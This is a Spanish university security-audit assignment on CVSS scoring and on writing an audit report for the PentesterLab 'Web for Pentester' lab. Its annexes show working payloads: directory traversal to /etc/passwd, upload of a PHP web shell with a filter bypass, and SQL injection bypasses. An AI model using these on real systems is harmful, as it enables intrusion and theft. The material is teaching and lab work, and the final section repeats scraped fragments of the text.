ATC 2022 PEC4 Enunciado Es

M1.
810 · Auditoría Técnica · PAC4 – abril-2022

Máster Interuniversitario en Seguridad de las TIC
EJECUCIÓN E INFORMES DE AUDITORÍA
ENUNCIADO
• Puntuación de vulnerabilidades con CVSS versión 3.1.

Tomad la vulnerabilidad CVE-2017-0144 descubierta en la implementación
del servidor SMBv1 de Microsoft Windows.
https://nvd.nist.gov/vuln/detail/CVE-2017-0144
Buscad información sobre la misma y explicad porqué en la NVD (National
Vulnerability Database) del NIST (National Institute for Standards and
Technology) le ha otorgado una puntación de base de 8.1 según el esquema
CVSS (versión 3.1). Discutid si estáis de acuerdo con esta puntación.
A continuación, empleando la herramienta del NIST para el cálculo de la
puntación CVSS de una vulnerabilidad, y empleadla para precisar y
contextualizar de manera razonada el grupo de métrica de la temporalidad.
(https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
El alumno que desee optar por la nota máxima debe valorar también el grupo
de métrica de entorno y en ese caso deberá tomar como ejemplo la empresa
XXXXXX,SA de anteriores PEC. En caso de dudas respecto de la
infraestructura desplegada, se podrá hacer las suposiciones que se deseen o
consultar en el foro de la asignatura.
• Informe de auditoría
En este ejercicio tomáis el papel del auditor jefe a cargo de elaborar el
informe de una auditoría.
Existe un equipo auditor del que sois el responsable y que está compuesto
por vosotros mismo y 1 experto en seguridad informática que ha realizado las
pruebas técnicas de la auditoría que se os ha encargado y se encontraban
detalladas en un plan de auditoría. Aunque no se facilita en este enunciado, el
Plan de Auditoría (se trataría de uno muy similar al presentado en el punto 4.1
del módulo 3 “Auditoría técnica de seguridad”), contendría la siguiente
información básica:
• La auditoría tiene como alcance únicamente un sistema (1 IP) en el que
corre una aplicación web. Esta aplicación se implementa toda en el mismo
sistema. Es decir en el mismo sistema corre tanto la capa de presentación
(servidor web Apache2), como la lógica de negocio (implementada en
lenguaje PHP) y el backend de base de datos (Mysql Server).
En un principio para el ejercicio NO se ha tomado una aplicación que tenga
sentido o una utilidad clara más allá del carácter pedagógico. De hecho se
trata de la aplicación “Web for pentester” del sitio web
www.pentesterlab.com. Esta aplicación facilita desde un homepage el
1
M1.810 · Auditoría Técnica · PAC4 – abril-2022
acceso a diversas páginas con una pequeña funcionalidad y que presentan

distintos tipos de vulnerabilidades todas ellas típicas del listado “2017
OWASP Top 10 List”
(https://www.owasp.org/images/7/72/OWASP_Top_10-
2017_%28en%29.pdf.pdf). A la hora de realizar este ejercicio (y en
especial a la hora de puntuar o priorizar las vulnerabilidades encontradas),
el alumno debe imaginar que esta aplicación es en realidad el
“marketplace” web que se describió en el enunciado de la pregunta 3 de la
PEC3.
• La auditoría se ha de ejecutar en modalidad caja negra (interpretado aquí

como sin acceder a verificar el código fuente de la aplicación, e
interactuando únicamente con la aplicación a través de su interfaz web por
el protocolo http o https si es que está implementado) y desde la misma
red en que se encuentra el sistema (es decir, no existe un dispositivo
firewall entre ambos salvo que el propio sistema haya implementado uno
en local).
• El objetivo de la auditoría es doble, por un lado identificar si el sistema

cumple la política de seguridad técnica de la organización que dice que un
sistema informático únicamente deben ofrecer los servicios de red mínimos
e imprescindibles para ofrecer el servicio previsto que debe dar a los
usuarios, y realizar adicionalmente un análisis de vulnerabilidades de los
servicios que se hayan detectados; y por el otro lado, en lo que respecta a
la propia aplicación web, verificar si existen vulnerabilidades del catálogo
de las “2021 OWASP Top 10 List”.
• Las pruebas se deben considerar que ya han sido realizadas por el experto
y han consistido en
o Ejecución de un escaneo del sistema con NMAP y los resultados los
presenta en el documento “ANEXO 1 – Resultado prueba de auditoría
<Análisis de puertos abiertos al sistema auditado>” (al final de este
documento)
o Ejecución de diversos escaneos de vulnerabilidades con la herramienta
NESSUS con dos políticas de escaneo (“policies”) creadas, la primera
basada en un escaneo de puertos y posibles vulnerabilidades de
aplicaciones web rápido, y el segundo un escaneo exhaustivo de
vulnerabilidades mediante comprobación remota y también local (se le
proporciona a Nessus credenciales para que pueda loggear en el
sistema y realizar verificaciones locales de parches y vulnerabilidades.
Los resultados nos los presenta en 2 documentos PDF
(ATC_2022_PEC4_ANEXO-nessus_report_web_app_vulns.pdf,
ATC_2022_PEC4_ANEXO-
nessus_report_Linux_local_and_remote_vunls.pdf) que genera la
2
aplicación y que se adjuntan (disponibles en el sitio web de la UOC de

presentación de la PEC).
o Ejecución de varias pruebas manuales (recogidas en el ANEXO 2 –
Resultado prueba de auditoría <Verificación manual vulnerabilidades
web> al final de este documento) para la identificación precisa de la
existencia de las vulnerabilidades:
▪ Directory Traversal
▪ URL Redirection
▪ File Upload
▪ SQL injection
o Hemos de tener en cuenta que el experto NO nos está facilitando un
informe de auditoría sino el resultado de las pruebas que él ha
realizado.
La pregunta pide que realizar el informe de auditoría a partir de los resultados

que se ofrecen. En el material del curso (módulo 3) se presenta la estructura
recomendada para un informe técnico de auditoría de seguridad.
Al alumno que desee optar por la nota máxima se le propone completar las
pruebas técnicas sobre la aplicación y mostrar otras vulnerabilidades que el
experto no ha localizado manualmente y documentado. Asimismo, NO se pide
en este caso que se obtengan TODAS las vulnerabilidades de la aplicación ya
que son muchas y el informe resultante sería excesivamente largo. Por lo
tanto, en este caso se propone realizar las pruebas para identificar 1
vulnerabilidad de XSS (Cross Site Scripting) y 1 vulnerabilidad de inyección
de código PHP. Para ello, el alumno debe seguir los pasos descritos en el
ANEXO-3 para desplegar el laboratorio que contiene la aplicación a auditar
3
ANEXO 1 – Resultado prueba de auditoría <Análisis de

puertos abiertos al sistema auditado>
El siguiente escaneo de puertos ha sido realizado sobre la máquina virtual
configurada en el anexo 1 y sobre la que se ha modificado la configuración
del servicio de Gestión de Bases de Datos MySQL para que acepte
conexiones desde cualquier dirección IP.
NOTA: aunque la topología de la red en la prueba que se ha realizado era
que tanto la máquina escaneada como la máquina que realiza el escaneo
están en la misma red, sin un dispositivo firewall entre ellos.
El experto os facilita la siguiente información.
Comando empleado: nmap -p 1-65535 -T5 -A -v XXX.XXX.XXX.XXX
Salida del comando:
Starting Nmap 6.47 ( http://nmap.org ) at 2015-04-24 00:40 Hora de verano romance
NSE: Loaded 118 scripts for scanning.
NSE: Script Pre-scanning.
Initiating ARP Ping Scan at 00:40
Scanning 192.168.137.131 [1 port]
Completed ARP Ping Scan at 00:40, 4.67s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 00:40
Completed Parallel DNS resolution of 1 host. at 00:40, 5.53s elapsed
Initiating SYN Stealth Scan at 00:40
Scanning 192.168.137.131 [65535 ports]
Discovered open port 80/tcp on 192.168.137.131
Completed SYN Stealth Scan at 00:41, 6.94s elapsed (65535 total ports)
Initiating Service scan at 00:41
Scanning 4 services on 192.168.137.131
Completed Service scan at 00:41, 6.10s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.137.131
NSE: Script scanning 192.168.137.131.
Initiating NSE at 00:41
Completed NSE at 00:41, 1.11s elapsed
Nmap scan report for 192.168.137.131
Host is up (0.0014s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze3 (protocol 2.0)
| ssh-hostkey:
| 1024 2d:13:15:2a:16:62:be:fc:8a:c0:98:68:ec:c7:56:b1 (DSA)
|_ 2048 ae:44:2b:80:39:e7:8b:0a:d6:8d:04:58:29:34:75:5b (RSA)
80/tcp open http Apache httpd 2.2.16 ((Debian))
|_http-favicon: Unknown favicon MD5: 967B30E5E95445E29B882CC82774AC96
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: PentesterLab » Web for Pentester
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:0C:29:79:0F:F1 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.32
Uptime guess: 198.841 days (since Tue Oct 07 04:30:21 2014)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.41 ms 192.168.137.131
4
NSE: Script Post-scanning.

Initiating NSE at 00:41
Completed NSE at 00:41, 0.01s elapsed
Read data files from: C:\Program Files\Nmap
OS and Service detection performed. Please report any incorrect results at http:
//nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.48 seconds
Raw packets sent: 65569 (2.886MB) | Rcvd: 65553 (2.623MB)
5
ANEXO 2 – Resultado prueba de auditoría <Verificación

manual vulnerabilidades web>
Directory Traversal
Script vulnerable “/dirtrav/example1.php” – Sin filtro de protección
Petición original:
GET /dirtrav/example1.php?file=hacker.png HTTP/1.1

Host: 10.10.4.6
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101
Firefox/20.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Petición modificada
GET /dirtrav/example1.php?file=../../../../../../../etc/passwd
HTTP/1.1
Host: 10.10.4.6
Firefox/20.0
Accept:
Evidencia:
HTTP/1.1 200 OK
Date: Sun, 17 May 2015 14:20:05 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze15
Cache-Control: public
Content-Disposition: inline; filename="passwd";
Content-Transfer-Encoding: binary
Vary: Accept-Encoding
Content-Length: 998
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
6
Script vulnerable /dirtrav/example2.php – Con filtro de protección pero

insuficiente
PHP dispone de un filtro de protección, por lo que en este caso hay que encadenar el
payload al final de la petición original
Petición original:
GET /dirtrav/example2.php?file=/var/www/files/hacker.png HTTP/1.1

Host: 10.10.4.6
Firefox/20.0
Accept:
Petición modificada:
GET
/dirtrav/example2.php?file=/var/www/files/../../../../../../../../../.
./../../etc/passwd HTTP/1.1
Host: 10.10.4.6
Firefox/20.0
Accept:
Parámetro:
file=/var/www/files/../../../../../../../../../../../../etc/passwd
Evidencia:
HTTP/1.1 200 OK
Date: Sun, 17 May 2015 14:11:19 GMT
Content-Length: 998
7
Script vulnerable /dirtrav/example3.php – Evasión de filtro avanzado pero

insuficiente
Esta prueba se basa en que en el lado del servidor se incluye un byte de prefijo en el
payload para evitar esta vulnerabilidad. Por ejemplo:
Petición original:
GET /dirtrav/example3.php?file=hacker HTTP/1.1

Host: 10.10.4.6
Firefox/20.0
Accept:
Resultado (es una imagen):
‰PNG IHDR\/A> pHYs
Protección:
Caracter : ‰
En este caso, se debe utilizar el bypass de NULL BYTE para evadir esta protección. En
una URL el NULL BYTE se codifica %00
Así pues:
Petición original:
GET /dirtrav/example3.php?file=hacker HTTP/1.1

Host: 10.10.4.6
Firefox/20.0
Accept:
GET /dirtrav/example3.php?file=../../../../../../../etc/passwd%00
HTTP/1.1
Host: 10.10.4.6
8

Firefox/20.0
Accept:
Evidencia:
HTTP/1.1 200 OK
Date: Sun, 17 May 2015 14:29:20 GMT
Content-Length: 998
URL -Redirection
Script vulnerable /fileincl/example1.php – Sin filtro de protección
Petición original:
GET /fileincl/example1.php?page=intro.php HTTP/1.1

Host: 10.10.4.6
Firefox/20.0
Accept:
Referer: http://10.10.4.6/
Petición modificada
GET /fileincl/example1.php?page=http://www.google.es HTTP/1.1

Host: 10.10.4.6
Firefox/20.0
Accept:
9
Evidencia:
Comentario:
Para valorar esta vulnerabilidad se ha de pensar que pasaría si la redirección la

hiciéramos hacia un servidor bajo nuestro control. ¿Y si la aplicación fuera de un
banco? Existe riesgo de hacer ataques de phising empleando URL dentro del contexto
del banco víctima. O ¿Qué pasaría si la URL empleada es de un página con un código
malicioso que intenta explotar una vulnerabilidad del navegador? Un atacante podría
construir una URL dentro del contexto de nuestra aplicación pero que abre el
contenido malicioso y esta URL se podría enviar a los usuarios de la aplicación para
que accedan al contenido malicioso.
File Upload
Script vulnerable /upload/example1.php – sin filtro de protección
En este caso es una funcionalidad de subida de imágenes pero se puede subir

cualquier archivo arbitrario y posteriormente acceder y el servidor lo interpreta.
Lo primero que se necesita es una web shell. En este caso, al tratarse de PHP
únicamente habrá que crear en nuestro equipo un documento X.php con el siguiente
código:
<?php
system($_GET["cmd"]);
?>
Después buscaremos algún sitio donde se puedan buscar ficheros, y a partir de ahí
subirlo al servidor y acceder a él y comprobar que nos permite ejecutar comandos
arbitrarios en el servidor con los permisos del usuario con que se ejecuta el apache.
10
Petición original:
POST /upload/example1.php HTTP/1.1

Host: 10.10.4.6
Firefox/20.0
Accept:
Referer: http://10.10.4.6/upload/example1.php
Content-Type: multipart/form-data; boundary=--------------------------
-255071566828626
Content-Length: 342
-----------------------------255071566828626
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: application/octet-stream
<?php
system($_GET['cmd']);
?>
-----------------------------255071566828626
Content-Disposition: form-data; name="send"
Send file
-----------------------------255071566828626—
Una vez esta subido, solo hay que acceder a él y ejecutarlo, y en este caso, trabajar
con el parámetro cmd:
Petición de acceso:
GET /upload/images/shell.php HTTP/1.1

Host: 10.10.4.6
Firefox/20.0
Accept:
GET /upload/images/shell.php?cmd=uname%20-a HTTP/1.1

Host: 10.10.4.6
Firefox/20.0
Accept:
Evidencia:
HTTP/1.1 200 OK
Date: Sun, 17 May 2015 15:29:11 GMT
11
Content-Length: 77
Linux debian 2.6.32-5-686 #1 SMP Mon Feb 25 01:04:36 UTC 2013 i686
GNU/Linux
Script vulnerable /upload/example2.php – Filtrado por extensión pero insuficiente
En este caso la aplicación filtra por extensión. Si se sube un fichero “x.php” la

aplicación avisa que no permite PHP.
Una de las maneras más sencillas, consiste en encadenar una extensión falsa detrás
de PHP. Apache no la sabrá interpretar y lo intentara con la inmediatamente
anterior, por lo que en este caso, nuestro fichero será X.PHP.TEST
El proceso será igual que el anterior:
Petición original
POST /upload/example2.php HTTP/1.1

Host: 10.10.4.6
Firefox/20.0
Accept:
Content-Type: multipart/form-data; boundary=--------------------------
-4499177401458
Content-Length: 341
-----------------------------4499177401458
Content-Disposition: form-data; name="image";
filename="shell.php.test"
Content-Type: application/octet-stream
<?php
system($_GET['cmd']);
?>
-----------------------------4499177401458
Content-Disposition: form-data; name="send"
Send file
-----------------------------4499177401458--
Acceso y ejecución parámetro CMD:
GET /upload/images/shell.php.test?cmd=ls%20/../../../../../../
HTTP/1.1
Host: 10.10.4.6
Firefox/20.0
12
Accept:
Evidencias:
HTTP/1.1 200 OK
Date: Sun, 17 May 2015 15:43:10 GMT
Content-Length: 107
bin
boot
dev
etc
home
initrd.img
lib
live
media
mnt
opt
proc
root
sbin
selinux
Sql Injections
Script vulnerable /sqli/example1.php – Sin filtro de protección
Petición original:
GET /sqli/example1.php?name=root HTTP/1.1

Host: 10.10.4.6
Firefox/20.0
Accept:
Respuesta original:
Ahora hay que probar que existe una sqli:

13
Petición con injección:
GET /sqli/example1.php?name=root'%20and%20'1'%3d'1 HTTP/1.1

Host: 10.10.4.6
Firefox/20.0
Accept:
Parámetro:
Name=root’ and ‘1’=’1
La aplicación devuelve lo siguiente:
Ahora comprobaremos con parámetro:
Name=root’ and ‘1’=’0
La aplicación devuelve lo siguiente:
La condición booleana se comprueba, por lo tanto, hay una inyección.
Con el mismo ejemplo, aprovechando que hay una inyección, podemos realizar la
siguiente petición con el objetivo de obtener todo el listado de usuarios:
GET /sqli/example1.php?name=*'%20OR%20'1'%3d'1 HTTP/1.1

Host: 10.10.4.6
Firefox/20.0
Accept:
Parámetro:
14
Name=*’or ‘1’=’1
Atención: En entornos con tablas muy grandes esto puede poner en riesgo el
entorno.
Evidencia:
Script vulnerable /sqli/example2.php – Bypass de un primer filtro
En esta prueba se realiza un filtrado por espacio.
Petición anterior con la inyección, es parada por el filtro:
GET /sqli/example2.php?name=*'%20and%20'1'%3d'1 HTTP/1.1

Host: 10.10.4.6
Firefox/20.0
Accept:
Respuesta:
Realizaremos la evasión del filtrado, mediante el carácter tabulación (que codificado

para la URL sería %09) que SQL interpretara como un tabulador y hará valida la
petición:
GET /sqli/example2.php?name=*'%09OR%09'1'%3d'1 HTTP/1.1

Host: 10.10.4.6
Firefox/20.0
Accept:
15
Parámetro:
Name=*\tabuladorOR\tabulador’1’=1’
Evidencia:
16
ANEXO 3 – Instrucciones para el despliegue del

laboratorio
Para la realización del último ejercicio de esta PEC, el alumno tiene la opción
de realizar por si mismo la ampliación de los resultados que el experto le ha
facilitado para la realización de la auditoría técnica.
Para ello, se facilita este anexo en el que se describe los pasos necesarios
para poder desplegar el laboratorio.
PRERREQUISITOS
Las siguientes instrucciones se han desarrollado en el siguiente entorno:
• CPU Intel Pentium Dual Core E2200 a 1,1GHz
• 2GB de RAM
• Sistema operativo Windows 7 Professional
Este entorno se puede considerar suficiente para poder desplegar todas las
herramientas que se necesitan.
Si el alumno dispone de un entorno diferente las instrucciones podrían variar
al igual que no se puede garantizar que vaya a ser capaz de poder desplegar
todas las herramientas que se mencionan. De todos modos el entorno que se
ha de desplegar no es demasiado exigente y es posible que con un equipo de
características inferiores también se pueda realizar la práctica completa.
SOFTWARE A INSTALAR
Se necesitará instalar:
• Ultima versión estable de NMAP:
http://nmap.org/download.html
• Ultima versión estable del entorno de virtualización VMplayer v7.1.4
(nota: existen versiones más modernas de VMplayer derivadas de la
versión VMware Workstation, o VirtualBox, sobre las que con mucha
probabilidad también funciona per que no ha sido probado al preparar
esta PEC, pero las capturas de pantalla corresponden a esta versión):
https://my.vmware.com/web/vmware/free#desktop_end_user_computi
ng/vmware_player/7_0|PLAYER-714|product_downloads
Para versiones más modernas:
https://my.vmware.com/web/vmware/free#desktop_end_user_computing/v
mware_workstation_player/15_0
Nota: podría ser que esta última URL no fuera exacta para la descarga
de VMware.
17
Nota: Se puede emplear cualquier otro entorno de virtualización, como

por ejemplo Virtualbox, aunque no se dan entonces instrucciones
precisas.
• Entorno a auditar:
https://www.pentesterlab.com/exercises/web_for_pentester
https://www.pentesterlab.com/exercises/web_for_pentester/iso
DESPLIEGUE DE LA APLICACIÓN A AUDITAR

La aplicación que se ha de auditar es una aplicación creada específicamente
para fines educativos y por tanto contienen un gran número de
vulnerabilidades. Todo el entorno para la ejecución de la aplicación a auditar
se facilita como una imagen ISO de un CD/ROM autoarrancable, lo que se
conoce habitualmente como un “liveCD”. Por lo tanto para iniciar la aplicación
iniciaremos una máquina virtual con este liveCD configurado como CD de
arranque de modo que se inicie automáticamente todo el entorno.
El alumno deberá seguir estos pasos (si se encontrara con algún problema se
deberá consultar en el foro con el consultor de la asignatura):
1. iniciar el entorno de virtualización vmPlayer
2. Crear una nueva máquina virtual con las características que se

muestran en las capturas de pantalla siguiente
18
19
En el punto anterior haremos clic en “customiza hardware” para

modificar la configuración e incluir un CDROM con la imagen ISO del
LiveCD de la aplicación a auditar.
20
Haremos clic en el botón “Browse” para buscar en el sistema de

ficheros el archivo .iso con la imagen que hemos descargado del web
pentesterlab.com.
Una vez seleccionado el archivo ISO aceptaremos la configuración

personalizada del hardware de la máquina virtual y finalizaremos la
configuración.
Nos deberá aparece entonces en el listado de máquinas virtuales

disponibles la máquina recién configurada.
Podremos pulsar sobre “Play virtual machine” para iniciar el entorno

de la aplicación a auditar. Cuando finalice el arranque completamente
se nos mostrará en la pantalla del vmplayer la consola de comandos.
21
3. Averiguar la dirección IP asignada a la máquina virtual

Para ello simplemente ejecutaremos en la ventana de vmplayer de la
consola de la máquina virtual el comando “ifconfig” y tomaremos nota
de la dirección IP que nos muestre en el interfaz eth0.
En este ejemplo, la máquina tenía la IP 192.168.137.129.
4. Comprobar que se puede acceder a la aplicación a auditar.
22
Para ello, desde el equipo en que estamos ejecutando el entorno

virtualizado vmplayer, con un navegador accederemos a la URL
siguiente:
http://<dirección IP anotada en el paso anterior>
Y se deberá mostrar la siguiente página web.
23

ATC 2022 PEC4 Enunciado Es

Cargado por

Información del documento

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

ATC 2022 PEC4 Enunciado Es

Cargado por

Copyright:

Formatos disponibles

M1.

810 · Auditoría Técnica · PAC4 – abril-2022

EJECUCIÓN E INFORMES DE AUDITORÍA

• Puntuación de vulnerabilidades con CVSS versión 3.1.

acceso a diversas páginas con una pequeña funcionalidad y que presentan

• La auditoría se ha de ejecutar en modalidad caja negra (interpretado aquí

• El objetivo de la auditoría es doble, por un lado identificar si el sistema

aplicación y que se adjuntan (disponibles en el sitio web de la UOC de

La pregunta pide que realizar el informe de auditoría a partir de los resultados

ANEXO 1 – Resultado prueba de auditoría <Análisis de

NSE: Script Post-scanning.

ANEXO 2 – Resultado prueba de auditoría <Verificación

GET /dirtrav/example1.php?file=hacker.png HTTP/1.1

Script vulnerable /dirtrav/example2.php – Con filtro de protección pero

GET /dirtrav/example2.php?file=/var/www/files/hacker.png HTTP/1.1

Script vulnerable /dirtrav/example3.php – Evasión de filtro avanzado pero

GET /dirtrav/example3.php?file=hacker HTTP/1.1

Resultado (es una imagen):

‰PNG IHDR\/A> pHYs

GET /dirtrav/example3.php?file=hacker HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101

GET /fileincl/example1.php?page=intro.php HTTP/1.1

GET /fileincl/example1.php?page=http://www.google.es HTTP/1.1

Para valorar esta vulnerabilidad se ha de pensar que pasaría si la redirección la

En este caso es una funcionalidad de subida de imágenes pero se puede subir

POST /upload/example1.php HTTP/1.1

GET /upload/images/shell.php HTTP/1.1

GET /upload/images/shell.php?cmd=uname%20-a HTTP/1.1

Script vulnerable /upload/example2.php – Filtrado por extensión pero insuficiente

En este caso la aplicación filtra por extensión. Si se sube un fichero “x.php” la

El proceso será igual que el anterior:

POST /upload/example2.php HTTP/1.1

Acceso y ejecución parámetro CMD:

GET /sqli/example1.php?name=root HTTP/1.1

Ahora hay que probar que existe una sqli:

Petición con injección:

GET /sqli/example1.php?name=root'%20and%20'1'%3d'1 HTTP/1.1

Name=root’ and ‘1’=’1

La aplicación devuelve lo siguiente:

Ahora comprobaremos con parámetro:

Name=root’ and ‘1’=’0

La aplicación devuelve lo siguiente:

La condición booleana se comprueba, por lo tanto, hay una inyección.

GET /sqli/example1.php?name=*'%20OR%20'1'%3d'1 HTTP/1.1

Script vulnerable /sqli/example2.php – Bypass de un primer filtro

En esta prueba se realiza un filtrado por espacio.

Petición anterior con la inyección, es parada por el filtro:

GET /sqli/example2.php?name=*'%20and%20'1'%3d'1 HTTP/1.1

Realizaremos la evasión del filtrado, mediante el carácter tabulación (que codificado

GET /sqli/example2.php?name=*'%09OR%09'1'%3d'1 HTTP/1.1

ANEXO 3 – Instrucciones para el despliegue del

Nota: Se puede emplear cualquier otro entorno de virtualización, como

DESPLIEGUE DE LA APLICACIÓN A AUDITAR

2. Crear una nueva máquina virtual con las características que se

En el punto anterior haremos clic en “customiza hardware” para

Haremos clic en el botón “Browse” para buscar en el sistema de

Una vez seleccionado el archivo ISO aceptaremos la configuración

Nos deberá aparece entonces en el listado de máquinas virtuales

Podremos pulsar sobre “Play virtual machine” para iniciar el entorno

3. Averiguar la dirección IP asignada a la máquina virtual

En este ejemplo, la máquina tenía la IP 192.168.137.129.

4. Comprobar que se puede acceder a la aplicación a auditar.

Para ello, desde el equipo en que estamos ejecutando el entorno